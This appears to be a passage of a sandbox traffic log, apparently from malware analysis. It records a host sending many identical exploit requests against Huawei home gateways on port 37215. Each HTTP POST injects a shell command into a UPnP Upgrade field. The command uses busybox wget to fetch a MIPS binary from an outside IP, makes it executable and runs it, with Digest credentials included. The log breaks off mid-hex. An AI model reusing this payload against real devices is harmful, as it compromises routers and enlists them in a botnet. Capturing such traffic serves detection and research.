Jun 1, 2024 18:15:54.275397062 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	50042	197.5.246.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275438070 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	45632	41.160.105.72	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275476933 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	38772	197.231.220.22	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275510073 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	58124	156.254.50.144	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275552034 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	58496	41.103.71.244	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275592089 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	59058	156.4.146.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275630951 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	54092	197.165.142.230	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275662899 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	51478	197.60.23.205	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275705099 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	60068	41.186.161.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275742054 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	47684	197.116.0.109	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275794983 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 